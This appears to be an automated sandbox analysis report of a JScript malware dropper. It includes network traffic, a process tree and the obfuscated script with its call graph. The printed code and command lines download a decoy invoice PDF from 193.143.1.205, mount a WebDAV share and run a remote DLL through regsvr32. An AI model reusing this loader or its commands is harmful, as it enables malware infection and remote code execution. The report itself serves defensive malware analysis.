/Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:17:37.732992887 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:17:37.733004093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 05:17:37.733021975 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 05:17:37.733033895 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 05:17:37.733043909 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 05:17:37.733052015 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 05:17:37.733067036 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 05:17:37.733079910 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:17:37.733091116 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 05:17:37.737989902 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	8184	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:17:39.608887911 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:17:40.397131920 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:17:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:17:34
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js"
Imagebase:	0x7ff73e780000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:17:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Imagebase:	0x7ff77f700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:17:34
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:17:34
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:17:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:17:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77f700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:17:39
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e1b30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:17:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:17:40
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:17:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1608,i,14978017401034862837,9228720302185568049,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function amsdn() {	amsdn() ➔ undefined
1	iiiggozck = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var godskvxes = this[bfrtoxmv + qaggtmyg + hjmhbv + xwoli + ydbvcu + ajkswj + vwtlku + laeup] ( this[awqvdxjyt + ufkdv + vfxudbc + hjmhbv + hnlsit + bfrtoxmv + laeup][tsohoi + hjmhbv + ydbvcu + qaggtmyg + laeup + ydbvcu + akweh + ltjhnnbp + xhwfikl + ydbvcu + vfxudbc + laeup] ( awqvdxjyt + ufkdv + vfxudbc + hjmhbv + hnlsit + bfrtoxmv + laeup + oxnwe + ufkdv + aeqqxnejt + ydbvcu + iffjh + iffjh ) [snyerv + ydbvcu + lauxulnf + snyerv + ydbvcu + qaggtmyg + yzlumegu] ( hwzrsgdh + afjuep + kbojmo + zonbailn + lnzql + tsohoi + zwobndaau + snyerv + snyerv + kbojmo + vyqizazhc + opeuu + lnzql + zwobndaau + ufkdv + kbojmo + snyerv + qeqtopb + tsohoi + kvihv + vwtlku + laeup + hjmhbv + kvihv + iffjh + qvbrrwlag + xdnbncr + qaggtmyg + vwtlku + ydbvcu + iffjh + qeqtopb + ajkswj + vwtlku + laeup + ydbvcu + hjmhbv + vwtlku + qaggtmyg + laeup + hnlsit + kvihv + vwtlku + qaggtmyg + iffjh + qeqtopb + aduqe + kvihv + vfxudbc + qaggtmyg + iffjh + ydbvcu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( uaiow = 0 ; uaiow < iiiggozck[iffjh + ydbvcu + vwtlku + lauxulnf + laeup + aeqqxnejt] ; ++ uaiow )
4	{
5	if ( godskvxes == iiiggozck[uaiow] )
6	{
7	godskvxes = true;
8	break ;
9	}
10	}
11	if ( godskvxes !== true )
12	this[awqvdxjyt + ufkdv + vfxudbc + hjmhbv + hnlsit + bfrtoxmv + laeup][kuinxbmx + jsahmbec + hnlsit + laeup] ( );
13	this[awqvdxjyt + ufkdv + vfxudbc + hjmhbv + hnlsit + bfrtoxmv + laeup][tsohoi + hjmhbv + ydbvcu + qaggtmyg + laeup + ydbvcu + akweh + ltjhnnbp + xhwfikl + ydbvcu + vfxudbc + laeup] ( awqvdxjyt + ufkdv + vfxudbc + hjmhbv + hnlsit + bfrtoxmv + laeup + oxnwe + ufkdv + aeqqxnejt + ydbvcu + iffjh + iffjh ) [hjmhbv + jsahmbec + vwtlku] ( vfxudbc + uenctgao + yzlumegu + qvbrrwlag + gxdcnfh + vfxudbc + qvbrrwlag + bfrtoxmv + kvihv + agivcfud + ydbvcu + hjmhbv + xwoli + aeqqxnejt + ydbvcu + iffjh + iffjh + oxnwe + ydbvcu + wwziryb + ydbvcu + qvbrrwlag + ksqcmmofo + tsohoi + kvihv + uenctgao + uenctgao + qaggtmyg + vwtlku + yzlumegu + qvbrrwlag + wvzfxkvwa + ajkswj + vwtlku + xxynsi + kvihv + czartovh + ydbvcu + ksqcmmofo + awqvdxjyt + ydbvcu + ltjhnnbp + snyerv + ydbvcu + ppfbcx + jsahmbec + ydbvcu + xwoli + laeup + qvbrrwlag + ksqcmmofo + akweh + jsahmbec + laeup + moknjml + hnlsit + iffjh + ydbvcu + qvbrrwlag + qnxlcv + laeup + ydbvcu + uenctgao + bfrtoxmv + qnxlcv + qeqtopb + hnlsit + vwtlku + xxynsi + kvihv + hnlsit + vfxudbc + ydbvcu + oxnwe + bfrtoxmv + yzlumegu + mhyzix + qvbrrwlag + aeqqxnejt + laeup + laeup + bfrtoxmv + fgiww + gxdcnfh + gxdcnfh + llpcvvzw + fmdhxte + vhxtkf + oxnwe + llpcvvzw + gkcdkrkgp + vhxtkf + oxnwe + llpcvvzw + oxnwe + dqgxntuew + uzhtjc + fsyzsca + gxdcnfh + hnlsit + vwtlku + xxynsi + kvihv + hnlsit + vfxudbc + ydbvcu + oxnwe + bfrtoxmv + aeqqxnejt + bfrtoxmv + wvzfxkvwa + bvkwjupeh + bvkwjupeh + xwoli + laeup + qaggtmyg + hjmhbv + laeup + qvbrrwlag + qnxlcv + laeup + ydbvcu + uenctgao + bfrtoxmv + qnxlcv + qeqtopb + hnlsit + vwtlku + xxynsi + kvihv + hnlsit + vfxudbc + ydbvcu + oxnwe + bfrtoxmv + yzlumegu + mhyzix + bvkwjupeh + bvkwjupeh + vfxudbc + uenctgao + yzlumegu + qvbrrwlag + gxdcnfh + vfxudbc + qvbrrwlag + vwtlku + ydbvcu + laeup + qvbrrwlag + jsahmbec + xwoli + ydbvcu + qvbrrwlag + qeqtopb + qeqtopb + llpcvvzw + fmdhxte + vhxtkf + oxnwe + llpcvvzw + gkcdkrkgp + vhxtkf + oxnwe + llpcvvzw + oxnwe + dqgxntuew + uzhtjc + fsyzsca + ihdzo + sggdai + sggdai + sggdai + sggdai + qeqtopb + yzlumegu + qaggtmyg + xxynsi + agivcfud + agivcfud + agivcfud + hjmhbv + kvihv + kvihv + laeup + qeqtopb + bvkwjupeh + bvkwjupeh + vfxudbc + uenctgao + yzlumegu + qvbrrwlag + gxdcnfh + vfxudbc + qvbrrwlag + hjmhbv + ydbvcu + lauxulnf + xwoli + xxynsi + hjmhbv + vhxtkf + dqgxntuew + qvbrrwlag + gxdcnfh + xwoli + qvbrrwlag + qeqtopb + qeqtopb + llpcvvzw + fmdhxte + vhxtkf + oxnwe + llpcvvzw + gkcdkrkgp + vhxtkf + oxnwe + llpcvvzw + oxnwe + dqgxntuew + uzhtjc + fsyzsca + ihdzo + sggdai + sggdai + sggdai + sggdai + qeqtopb + yzlumegu + qaggtmyg + xxynsi + agivcfud + agivcfud + agivcfud + hjmhbv + kvihv + kvihv + laeup + qeqtopb + llpcvvzw + sggdai + vhxtkf + dqgxntuew + sggdai + dqgxntuew + fmdhxte + sggdai + gkcdkrkgp + fmdhxte + llpcvvzw + fmdhxte + fmdhxte + oxnwe + yzlumegu + iffjh + iffjh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll",0,false) ➔ 0
14	}
15	laeup = "D";
16	laeup = "s";
17	laeup = "i";
18	laeup = "p";
19	laeup = "k";
20	laeup = "W";
21	laeup = "c";
22	laeup = "Y";
23	laeup = "Q";
24	laeup = "h";
25	laeup = "F";
26	laeup = "w";
27	laeup = "E";
28	laeup = "W";
29	laeup = "J";
30	laeup = "h";
31	laeup = "X";
32	laeup = "L";
33	laeup = "p";
34	laeup = "s";
35	laeup = "t";
36	laeup = "q";
37	laeup = "a";
38	laeup = "t";
39	snyerv = "L";
40	snyerv = "J";
41	snyerv = "s";
42	snyerv = "j";
43	snyerv = "O";
44	snyerv = "Y";
45	snyerv = "W";
46	snyerv = "l";
47	snyerv = "h";
48	snyerv = "C";
49	snyerv = "t";
50	snyerv = "U";
51	snyerv = "k";
52	snyerv = "T";
53	snyerv = "D";
54	snyerv = "j";
55	snyerv = "D";
56	snyerv = "F";
57	snyerv = "t";
58	snyerv = "N";
59	snyerv = "D";
60	snyerv = "R";
61	snyerv = "K";
62	snyerv = "t";
63	snyerv = "d";
64	snyerv = "Y";
65	snyerv = "O";
66	snyerv = "z";
67	snyerv = "Z";
68	snyerv = "x";
69	snyerv = "K";
70	snyerv = "Y";
71	snyerv = "J";
72	snyerv = "n";
73	snyerv = "R";
74	zwobndaau = "g";
75	zwobndaau = "J";
76	zwobndaau = "B";
77	zwobndaau = "Y";
78	zwobndaau = "I";
79	zwobndaau = "r";
80	zwobndaau = "J";
81	zwobndaau = "q";
82	zwobndaau = "Z";
83	zwobndaau = "e";
84	zwobndaau = "U";
85	afjuep = "J";
86	afjuep = "t";
87	afjuep = "G";
88	afjuep = "W";
89	afjuep = "i";
90	afjuep = "a";
91	afjuep = "X";
92	afjuep = "K";
93	vfxudbc = "m";
94	vfxudbc = "n";
95	vfxudbc = "c";
96	wvzfxkvwa = "U";
97	wvzfxkvwa = "o";
98	wvzfxkvwa = "l";
99	wvzfxkvwa = "e";
100	wvzfxkvwa = "Q";
101	wvzfxkvwa = "R";
102	wvzfxkvwa = "M";
103	wvzfxkvwa = "Q";
104	wvzfxkvwa = "R";
105	wvzfxkvwa = "x";
106	wvzfxkvwa = "N";
107	wvzfxkvwa = "t";
108	wvzfxkvwa = "V";
109	wvzfxkvwa = "H";
110	wvzfxkvwa = "H";
111	wvzfxkvwa = "t";
112	wvzfxkvwa = "T";
113	wvzfxkvwa = "Q";
114	wvzfxkvwa = "s";
115	wvzfxkvwa = "W";
116	wvzfxkvwa = "U";
117	wvzfxkvwa = "n";
118	wvzfxkvwa = "J";
119	wvzfxkvwa = "Y";
120	wvzfxkvwa = "Z";
121	wvzfxkvwa = "E";
122	wvzfxkvwa = "X";
123	wvzfxkvwa = "N";
124	wvzfxkvwa = "B";
125	wvzfxkvwa = "e";
126	wvzfxkvwa = "b";
127	wvzfxkvwa = "L";
128	wvzfxkvwa = "\"";
129	hwzrsgdh = "b";
130	hwzrsgdh = "U";
131	hwzrsgdh = "W";
132	hwzrsgdh = "k";
133	hwzrsgdh = "d";
134	hwzrsgdh = "f";
135	hwzrsgdh = "E";
136	hwzrsgdh = "n";
137	hwzrsgdh = "j";
138	hwzrsgdh = "s";
139	hwzrsgdh = "B";
140	hwzrsgdh = "F";
141	hwzrsgdh = "i";
142	hwzrsgdh = "Z";
143	hwzrsgdh = "L";
144	hwzrsgdh = "k";
145	hwzrsgdh = "E";
146	hwzrsgdh = "U";
147	hwzrsgdh = "Z";
148	hwzrsgdh = "H";
149	llpcvvzw = "p";
150	llpcvvzw = "U";
151	llpcvvzw = "P";
152	llpcvvzw = "c";
153	llpcvvzw = "q";
154	llpcvvzw = "E";
155	llpcvvzw = "z";
156	llpcvvzw = "a";
157	llpcvvzw = "z";
158	llpcvvzw = "f";
159	llpcvvzw = "R";
160	llpcvvzw = "t";
161	llpcvvzw = "I";
162	llpcvvzw = "u";
163	llpcvvzw = "C";
164	llpcvvzw = "X";
165	llpcvvzw = "w";
166	llpcvvzw = "f";
167	llpcvvzw = "E";
168	llpcvvzw = "b";
169	llpcvvzw = "F";
170	llpcvvzw = "N";
171	llpcvvzw = "Y";
172	llpcvvzw = "M";
173	llpcvvzw = "1";
174	aduqe = "O";
175	aduqe = "A";
176	aduqe = "A";
177	aduqe = "F";
178	aduqe = "L";
179	aduqe = "e";
180	aduqe = "u";
181	aduqe = "m";
182	aduqe = "r";
183	aduqe = "V";
184	aduqe = "u";
185	aduqe = "l";
186	aduqe = "b";
187	aduqe = "z";
188	aduqe = "V";
189	aduqe = "P";
190	aduqe = "Y";
191	aduqe = "L";
192	bfrtoxmv = "I";
193	bfrtoxmv = "s";
194	bfrtoxmv = "c";
195	bfrtoxmv = "p";
196	ltjhnnbp = "R";
197	ltjhnnbp = "M";
198	ltjhnnbp = "v";
199	ltjhnnbp = "n";
200	ltjhnnbp = "Q";
201	ltjhnnbp = "T";
202	ltjhnnbp = "K";
203	ltjhnnbp = "j";
204	ltjhnnbp = "k";
205	ltjhnnbp = "P";
206	ltjhnnbp = "Q";
207	ltjhnnbp = "x";
208	ltjhnnbp = "f";
209	ltjhnnbp = "q";
210	ltjhnnbp = "K";
211	ltjhnnbp = "B";
212	ltjhnnbp = "Z";
213	ltjhnnbp = "L";
214	ltjhnnbp = "Z";
215	ltjhnnbp = "v";
216	ltjhnnbp = "o";
217	ltjhnnbp = "M";
218	ltjhnnbp = "D";
219	ltjhnnbp = "I";
220	ltjhnnbp = "P";
221	ltjhnnbp = "b";
222	ltjhnnbp = "B";
223	ltjhnnbp = "F";
224	ltjhnnbp = "E";
225	ltjhnnbp = "O";
226	ltjhnnbp = "d";
227	ltjhnnbp = "a";
228	ltjhnnbp = "X";
229	ltjhnnbp = "W";
230	ltjhnnbp = "b";
231	kbojmo = "R";
232	kbojmo = "s";
233	kbojmo = "R";
234	kbojmo = "r";
235	kbojmo = "w";
236	kbojmo = "n";
237	kbojmo = "L";
238	kbojmo = "J";
239	kbojmo = "h";
240	kbojmo = "R";
241	kbojmo = "T";
242	kbojmo = "Q";
243	kbojmo = "d";
244	kbojmo = "j";
245	kbojmo = "p";
246	kbojmo = "E";
247	kuinxbmx = "U";
248	kuinxbmx = "s";
249	kuinxbmx = "J";
250	kuinxbmx = "W";
251	kuinxbmx = "q";
252	kuinxbmx = "f";
253	kuinxbmx = "O";
254	kuinxbmx = "V";
255	kuinxbmx = "h";
256	kuinxbmx = "H";
257	kuinxbmx = "Y";
258	kuinxbmx = "c";
259	kuinxbmx = "S";
260	kuinxbmx = "b";
261	kuinxbmx = "E";
262	kuinxbmx = "J";
263	kuinxbmx = "v";
264	kuinxbmx = "D";
265	kuinxbmx = "n";
266	kuinxbmx = "y";
267	kuinxbmx = "e";
268	kuinxbmx = "Q";
269	kuinxbmx = "S";
270	kuinxbmx = "H";
271	kuinxbmx = "T";
272	kuinxbmx = "C";
273	kuinxbmx = "c";
274	kuinxbmx = "a";
275	kuinxbmx = "c";
276	kuinxbmx = "t";
277	kuinxbmx = "u";
278	kuinxbmx = "Q";
279	ajkswj = "A";
280	ajkswj = "m";
281	ajkswj = "N";
282	ajkswj = "M";
283	ajkswj = "l";
284	ajkswj = "Z";
285	ajkswj = "k";
286	ajkswj = "s";
287	ajkswj = "X";
288	ajkswj = "o";
289	ajkswj = "e";
290	ajkswj = "m";
291	ajkswj = "n";
292	ajkswj = "F";
293	ajkswj = "N";
294	ajkswj = "y";
295	ajkswj = "Q";
296	ajkswj = "Z";
297	ajkswj = "d";
298	ajkswj = "b";
299	ajkswj = "F";
300	ajkswj = "Q";
301	ajkswj = "c";
302	ajkswj = "z";
303	ajkswj = "T";
304	ajkswj = "r";
305	ajkswj = "s";
306	ajkswj = "y";
307	ajkswj = "w";
308	ajkswj = "g";
309	ajkswj = "a";
310	ajkswj = "Y";
311	ajkswj = "B";
312	ajkswj = "k";
313	ajkswj = "j";
314	ajkswj = "V";
315	ajkswj = "v";
316	ajkswj = "U";
317	ajkswj = "U";
318	ajkswj = "V";
319	ajkswj = "l";
320	ajkswj = "F";
321	ajkswj = "O";
322	ajkswj = "b";
323	ajkswj = "I";
324	ufkdv = "D";
325	ufkdv = "P";
326	ufkdv = "j";
327	ufkdv = "S";
328	ufkdv = "A";
329	ufkdv = "w";
330	ufkdv = "R";
331	ufkdv = "R";
332	ufkdv = "n";
333	ufkdv = "T";
334	ufkdv = "p";
335	ufkdv = "m";
336	ufkdv = "M";
337	ufkdv = "E";
338	ufkdv = "J";
339	ufkdv = "n";
340	ufkdv = "I";
341	ufkdv = "c";
342	ufkdv = "L";
343	ufkdv = "T";
344	ufkdv = "B";
345	ufkdv = "g";
346	ufkdv = "L";
347	ufkdv = "E";
348	ufkdv = "v";
349	ufkdv = "U";
350	ufkdv = "o";
351	ufkdv = "o";
352	ufkdv = "i";
353	ufkdv = "l";
354	ufkdv = "x";
355	ufkdv = "W";
356	ufkdv = "B";
357	ufkdv = "V";
358	ufkdv = "R";
359	ufkdv = "s";
360	ufkdv = "B";
361	ufkdv = "y";
362	ufkdv = "j";
363	ufkdv = "M";
364	ufkdv = "f";
365	ufkdv = "t";
366	ufkdv = "a";
367	ufkdv = "v";
368	ufkdv = "S";
369	xxynsi = "k";
370	xxynsi = "v";
371	ydbvcu = "u";
372	ydbvcu = "T";
373	ydbvcu = "D";
374	ydbvcu = "V";
375	ydbvcu = "L";
376	ydbvcu = "a";
377	ydbvcu = "e";
378	moknjml = "t";
379	moknjml = "h";
380	moknjml = "L";
381	moknjml = "Y";
382	moknjml = "C";
383	moknjml = "D";
384	moknjml = "y";
385	moknjml = "F";
386	tsohoi = "P";
387	tsohoi = "X";
388	tsohoi = "v";
389	tsohoi = "r";
390	tsohoi = "J";
391	tsohoi = "z";
392	tsohoi = "U";
393	tsohoi = "C";
394	tsohoi = "V";
395	tsohoi = "A";
396	tsohoi = "S";
397	tsohoi = "x";
398	tsohoi = "I";
399	tsohoi = "V";
400	tsohoi = "P";
401	tsohoi = "J";
402	tsohoi = "W";
403	tsohoi = "I";
404	tsohoi = "i";
405	tsohoi = "Y";
406	tsohoi = "y";
407	tsohoi = "C";
408	gxdcnfh = "p";
409	gxdcnfh = "q";
410	gxdcnfh = "o";
411	gxdcnfh = "T";
412	gxdcnfh = "F";
413	gxdcnfh = "G";
414	gxdcnfh = "E";
415	gxdcnfh = "I";
416	gxdcnfh = "k";
